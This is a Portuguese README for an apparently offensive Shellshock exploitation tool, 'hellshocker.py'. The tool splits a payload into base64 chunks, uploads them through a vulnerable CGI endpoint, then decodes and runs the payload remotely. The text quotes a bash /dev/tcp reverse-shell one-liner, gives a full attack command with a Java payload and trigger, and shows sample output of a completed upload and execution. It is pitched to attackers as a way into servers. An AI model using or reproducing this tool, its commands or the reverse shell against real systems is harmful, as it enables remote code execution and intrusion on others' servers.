
Script de exploração Shellshock capaz de fazer upload e obter RCE usando qualquer vetor devido à sua versatilidade.
Cansado de usar exploits fracos para Shellshock ou simplesmente usar "/bin/bash >& /dev/tcp/IP/port 0>&1" para entrar no servidor?
Sim, você precisa fazer upload e executar algo mais complexo no servidor, e codificar em base64 um arquivo enorme é impossível para sua requisição HTTP ser aceita pelo servidor web.
Seus problemas podem acabar com esta ferramenta. Ela é capaz de codificar seu payload em base64 e enviá-lo em partes (por padrão, de 128 bytes) para o servidor web e, após o envio, decodificá-lo e executá-lo.
"Uau", você diz, "Mas eu não tenho PHP, preciso de algo para Java." Sem problemas, eu digo, esta ferramenta é altamente personalizável.
Veja só:
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] Splitting data into chunks ...
[+] Payload data has been encoded to base64 format.
[*] There is 19 chunks to be sent to remote server
[*] Starting payload upload ...
[*] Uploading chunk #1
[*] Uploading chunk #2
[*] Uploading chunk #3
[*] Uploading chunk #4
[*] Uploading chunk #5
[*] Uploading chunk #6
[*] Uploading chunk #7
[*] Uploading chunk #8
[*] Uploading chunk #9
[*] Uploading chunk #10
[*] Uploading chunk #11
[*] Uploading chunk #12
[*] Uploading chunk #13
[*] Uploading chunk #14
[*] Uploading chunk #15
[*] Uploading chunk #16
[*] Uploading chunk #17
[*] Uploading chunk #18
[*] Uploading chunk #19
[+] Upload procedure has been completed.
[*] Decoding base64-encoded payload on remote server ...
[+] Remote command for decoding has been sent successfully sent.
[*] Triggering payload to execute ...
[+] Trigger command for payload execution has been succesfully sent.
Então seu payload foi transferido e executado com sucesso. Legal, não é? Sim, é.